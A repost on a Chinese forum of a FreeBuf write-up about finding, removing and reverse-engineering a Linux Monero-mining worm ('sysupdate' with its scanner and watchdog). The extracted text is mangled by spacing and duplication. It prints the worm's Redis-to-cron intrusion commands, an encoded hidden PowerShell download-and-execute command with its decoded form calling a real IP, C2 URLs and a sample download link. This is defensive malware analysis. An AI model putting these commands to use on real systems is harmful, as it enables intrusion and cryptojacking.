搜索

[13989] 2019-04-15_Linux挖矿病毒的清除与分析

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2019-04-15_Linux挖矿病毒的清除与分析 L i n u x 挖 矿 病 毒 的 清 除 与 分 析 x u i n g   F r e e B u f   2 0 1 9 - 0 4 - 1 5 起 因 起 因 舍 友 在 宿 舍 喊 着 ， 这 服 务 器 好 卡 啊 ， 难 受 啊 ！ 我 调 侃 他 是 不 是 被 挖 矿 了 ， 舍 友 在 宿 舍 喊 着 ， 这 服 务 器 好 卡 啊 ， 难 受 啊 ！ 我 调 侃 他 是 不 是 被 挖 矿 了 ， t o p 命 令 看 一 下 命 令 看 一 下 C P U 占 用 。 占 用 。 一 看 吓 一 跳 ， 一 个 叫 做 一 看 吓 一 跳 ， 一 个 叫 做 s y s u p d a t e 的 进 程 占 据 了 绝 大 部 分 的 的 进 程 占 据 了 绝 大 部 分 的 C P U 资 源 。 资 源 。 C P U 使 用 率 接 近 使 用 率 接 近 1 0 0 % 。 。 看 来 被 挖 矿 是 坐 实 了 。 看 来 被 挖 矿 是 坐 实 了 。 清 除 过 程 清 除 过 程 确 定 病 因 确 定 病 因 这 个 病 毒 还 不 是 算 很 变 态 ， 很 多 挖 矿 病 毒 ， 使 用 t o p 命 令 都 看 不 到 挖 矿 程 序 的 进 程 。 基 本 可 以 确 定 这 个 占 据 绝 大 部 分 c p u 资 源 的 进 程 s y s u p d a t e ， 就 是 挖 矿 程 序 了 ， 我 们 需 要 先 找 到 他 。 使 用 命 令 ： 查 看 病 毒 的 P I D 号 。 为 了 获 取 绝 对 路 径 ， 使 用 ： 发 现 s y s u p d a t e 的 绝 对 路 径 在 / e t c / s y s u p d a t e 。 下 载 下 来 ， 上 传 到 V i r u s T o t a l 。 如 图 所 示 ， 就 是 他 ， 挖 矿 病 毒 没 跑 了 。 开 始 清 除 开 始 清 除 首 先 干 掉 进 程 ： k i l l   - 9   { p i d 号 } p s   - a u x   |   g r e p   s y s u p d a t e   l s   - l   / p r o c / { p i d 号 } / e x e
直 接 r m   - f   s y s u p d a t e 会 提 示 类 似 ： 基 于 经 验 ， 应 该 是 病 毒 使 用 了 c h a t t r   + i 的 命 令 。 我 们 只 要 先 执 行 c h a t t r   - i   s y s u p d a t e ， 然 后 就 可 以 正 常 删 除 了 。 复 发 复 发 然 后 . . 很 快 就 又 被 创 建 出 来 了 。 应 该 是 有 守 护 进 程 什 么 的 。 而 且 如 果 我 们 简 单 分 析 一 下 s y s u p d a t e ， 其 实 他 并 不 是 病 毒 ， 他 只 是 个 X M R 挖 矿 程 序 。 ( 懂 我 意 思 吧 ， 我 们 必 须 得 找 到 他 爸 爸 ) 。 分 析 的 方 法 ， 可 以 通 过 f i n d S t r 、 I D A 等 工 具 提 串 或 者 . . 运 行 一 下 就 明 白 了 。 下 图 是 我 虚 拟 机 运 行 的 截 图 。 好 ， 我 知 道 大 家 都 不 关 心 这 个 。 定 时 任 务 定 时 任 务 我 是 先 去 看 了 下 日 志 . . 发 现 什 么 都 没 有 O r z ， 应 该 是 被 清 了 。 那 还 是 先 来 检 查 下 定 时 任 务 吧 ： 还 可 以 去 查 看 定 时 任 务 的 日 志 。 太 多 的 话 ， 可 以 在 后 面 加 上 |   g r e p   - v   { 要 排 除 的 关 键 字 } 来 排 除 无 用 信 息 。 u p d a t e . s h 分 析 分 析 找 到 了 这 个 定 时 执 行 的 源 头 ， 我 们 来 简 单 分 析 一 下 。 u p d a t e . s h 的 内 容 和 相 关 样 本 在 文 末 有 提 供 下 载 。 在 / e t c 下 下 载 了 c o n f i g . j s o n （ 挖 矿 配 置 ） 、 s y s u p d a t e （ X M R 挖 矿 软 件 ） 、 u p d a t e . s h （ 本 脚 本 ） 、 n e t w o r k s e r v i c e ( s c a n n e r   扫 描 并 入 侵 其 他 的 主 机 ) 、 s y s g u a r d ( w a t c h d o g   用 于 监 控 并 保 证 病 毒 的 正 常 运 行 以 及 更 新 ) 并 保 证 他 们 以 r o o t 权 限 运 行 。 r m :   c a n n o t   r e m o v e   ' s y s u p d a t e   ' :   O p e r a t i o n   n o t   p e r m i t t e d c r o n t a b   - l 或 者 c a t   / v a r / s p o o l / c r o n / r o o t m o r e   / v a r / l o g / c r o n   l o g
干 掉 别 的 挖 矿 病 毒 （ 见 k i l l m i n e r p r o c 函 数 ） 。 创 建 / r o o t / . s s h / a u t h o r i z e d _ k e y s ， 添 加 病 毒 作 者 自 己 的 公 钥 ， 保 证 其 可 以 使 用 S S H 登 录 到 服 务 器 ， 算 是 个 后 门 吧 。 然 后 就 是 添 加 定 时 任 务 ， 为 文 件 添 加 c h a t t r   + i ， 修 改 I P T A B L E S ， 清 楚 日 志 ， 关 闭 S E L i n u x 等 等 。 修 复 修 复 1 . r m   / v a r / s p o o l / c r o n / r o o t 或 者   c r o n t a b   - r 删 除 定 时 任 务 。 2 . k i l l 命 令 将 相 关 进 程 干 掉 ， 用 c h a t t r   - i 和 r m 命 令 ， 将 上 述 / e t c 下 的 文 件 全 部 删 除 。 3 . / r o o t / . s s h / a u t h o r i z e d _ k e y s 也 删 掉 或 者 修 复 。 至 于 I P T A B L E S 、 S E L i n u x 的 恢 复 ， 就 看 大 家 自 己 的 需 求 了 。 样 本 分 析 ： 样 本 分 析 ： n e t w o r k s e r v i c e 文 件 的 分 析 文 件 的 分 析 分 析 准 备 分 析 准 备 查 壳 是 U P X ， 直 接 使 用 u p x   - d 就 能 脱 壳 了 。 I D A 打 开 发 现 结 构 很 乱 ， S h i f t + F 7 打 开 P r o g r a m   S e g m e n t a t i o n 。
看 到 . g o p c l n t a b ， 基 本 就 可 以 确 定 是 g o l a n g 编 写 的 。 我 们 这 里 使 用 I D A G o l a n g H e l p e r 来 帮 助 恢 复 符 号 信 息 。 从 G i t h u b 下 载 下 来 后 ， 将 脚 本 拷 贝 到 I D A 目 录 的 p y t h o n 文 件 夹 下 ， 重 启 I D A ， 菜 单 选 择 F i l e - S c r i p t   C o m m a n d . . 导 入 g o _ e n t r y . p y 并 运 行 。 P S ： 这 里 I D A 7 . 0 可 能 会 遇 到 i d c _ b c 6 9 5 . p y 文 件 的 M a k e S t r 报 错 ， 这 里 给 出 看 雪 的 解 决 办 法 。 如 图 所 示 ， 前 两 个 按 钮 是 用 于 检 测 G o 语 言 的 版 本 ， 输 出 在 O u t p u t   w i n d o w 内 。 我 们 这 里 选 择 G o 1 . 1 0 。 然 后 按 下 剩 下 全 部 按 钮 进 行 修 复 ~ 再 次 看 F u n c t i o n s   w i n d o w 就 舒 服 多 了 。 不 过 字 符 串 还 是 看 着 非 常 非 常 难 受 ， 因 为 G o l a n g 的 字 符 串 是 堆 成 一 坨 的 ， 用 的 时 候 通 过 偏 移 以 及 长 度 取 。 I D A 没 法 很 好 的 识 别 ， 只 能 自 己 从 偏 移 处 选 定 指 定 长 度 再 按 下 A 键 进 行 标 注 。 如 果 大 佬 们 有 更 好 的 方 式 或 者 脚 本 ， 请 务 必 赐 教 。 功 能 分 析 功 能 分 析 我 们 接 下 来 就 可 以 从 m a i n _ m a i n 函 数 开 始 看 ， 整 个 程 序 的 大 概 流 程 。 1 . 首 先 会 去 h x x p s : / / p i x e l d r a . i n / a p i / d o w n l o a d / I 9 R R y e 下 载 i p s _ c n . t x t 并 保 存 为 d k e l c 。
2 . i p s _ c n . t x t 的 内 容 实 际 上 就 是 大 量 的 国 内 i p 段 的 十 进 制 表 示 ， 为 之 后 的 扫 描 入 侵 做 准 备 。 程 序 内 包 含 了 大 量 的 e x p l o i t 。 基 本 都 是 R C E 即 远 程 命 令 执 行 ， 下 表 做 了 部 分 列 举 ： R e d i s 未 授 权 未 授 权 R C E H a d o o p 未 授 权 未 授 权 R C E D r u p a l   C V E - 2 0 1 8 - 7 6 0 0 E l a s t i c S e a r c h   C V E - 2 0 1 5 - 1 4 2 7 E l a s t i c S e a r c h   C V E - 2 0 1 4 - 3 1 2 0 R e d i s 爆 破 模 块 爆 破 模 块 S p r i n g   C V E - 2 0 1 8 - 1 2 7 3 S q l s e r v e r   E x p l o i t 模 块 模 块 T h i n k P H P 5   R C E W e b l o g i c   C V E - 2 0 1 7 - 1 0 2 7 1
以 R e d i s 未 授 权 漏 洞 为 例 作 分 析 ， 首 先 会 去 尝 试 空 口 令 和 弱 口 令 爆 破 ， 如 果 成 功 连 接 。 首 先 设 置 R e d i s 的 s t o p - w r i t e s - o n - b g s a v e - e r r o r 为 n o 。 执 行 R e d i s 命 令 F l u s h A l l 清 空 数 据 表 。 设 置 d b f i l e n a m e 为 R o o t ， 即 设 置 持 久 化 文 件 名 为 r o o t ， 对 应 的 R e d i s 命 令 为 ： 紧 接 着 设 置 d i r 到 定 时 任 务 目 录 / v a r / s p o o l / c r o n ， 对 应 R e d i s 命 令 为 c o n f i g   s e t   d b f i l e n a m e   r o o t c o n f i g   s e t   d i r   " / v a r / s p o o l / c r o n "
执 行 完 上 面 的 命 令 后 ， R e d i s 之 后 的 数 据 就 会 保 存 到 / v a r / s p o o l / c r o n / r o o t ， 即 R o o t 用 户 的 定 时 任 务 文 件 里 。 紧 接 着 拼 接 c u r l 下 载 并 执 行 远 程 s h e l l 的 语 句 ， 并 调 用 S a v e 写 入 文 件 中 。 s y s g u a r d 作 者 叫 他 是 W a t c h d o g ， 主 要 功 能 就 是 监 控 自 己 的 各 程 序 ， 定 时 任 务 等 是 否 启 动 正 常 。 不 知 道 和 网 上 的 w a t c h d o g s 挖 矿 病 毒 有 没 有 联 系 。 在 分 析 过 程 中 ， 发 现 不 仅 仅 有 L i n u x 版 ， 还 有 W i n d o w s 版 。 对 于 w i n d o w s ， 会 去 执 行 下 面 的 命 令 ： b a s e 6 4 解 密 为 ： 即 下 载 执 行 u p d a t e . p s 1 ， 没 什 么 新 意 ， 火 绒 就 可 以 查 杀 拦 截 ： p o w e r s h e l l - w i n d o w s t y l e h i d d e n - n o p - e n c a Q B l A H g A K A B O A G U A d w A t A E 8 A Y g B q A G U A Y w B 0 A C A A T g B l A H Q A L g B X A G U A Y g B D A G w A a Q B l A G 4 A d A A p A C 4 A R A B v A H c A b g B s A G 8 A Y Q B k A F M A d A B y A G k A b g B n A C g A J w B o A H Q A d A B w A D o A L w A v A D Q A M w A u A D I A N A A 1 A C 4 A M g A y A D I A L g A 1 A D c A O g A 4 A D Y A N g A 3 A C 8 A N g B I A H E A S g B C A D A A U w B Q A F E A c Q B i A E Y A Y g B I A E o A R A A v A H U A c A B k A G E A d A B l A C 4 A c A B z A D E A J w A p A A = = i e x ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 4 3 . 2 4 5 . 2 2 2 . 5 7 : 8 6 6 7 / 6 H q J B 0 S P Q q b F b H J D / u p d a t e . p s 1 ' )
w i n d o w s 版 的 下 载 地 址 如 下 ， 因 为 是 G o 语 言 编 写 的 ， 其 实 内 容 都 是 大 同 小 异 的 ： h x x p : / / 4 3 . 2 4 5 . 2 2 2 . 5 7 : 8 6 6 7 / 6 H q J B 0 S P Q q b F b H J D / s y s u p d a t e . e x e h x x p : / / 4 3 . 2 4 5 . 2 2 2 . 5 7 : 8 6 6 7 / 6 H q J B 0 S P Q q b F b H J D / s y s g u a r d . e x e h x x p : / / 4 3 . 2 4 5 . 2 2 2 . 5 7 : 8 6 6 7 / 6 H q J B 0 S P Q q b F b H J D / n e t w o r k s e r v i c e . e x e h x x p : / / 4 3 . 2 4 5 . 2 2 2 . 5 7 : 8 6 6 7 / 6 H q J B 0 S P Q q b F b H J D / u p d a t e . p s 1 样 本 下 载 样 本 下 载 h t t p s : / / g i t h u b . c o m / x u i n g / h e l l o - w o r l d / b l o b / m a s t e r / % E 6 % 8 C % 9 6 % E 7 % 9 F % B F l i n u x _ s y s u p d a t e . z i p * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： x u i n g ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 推 荐 阅 读 推 荐 阅 读
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理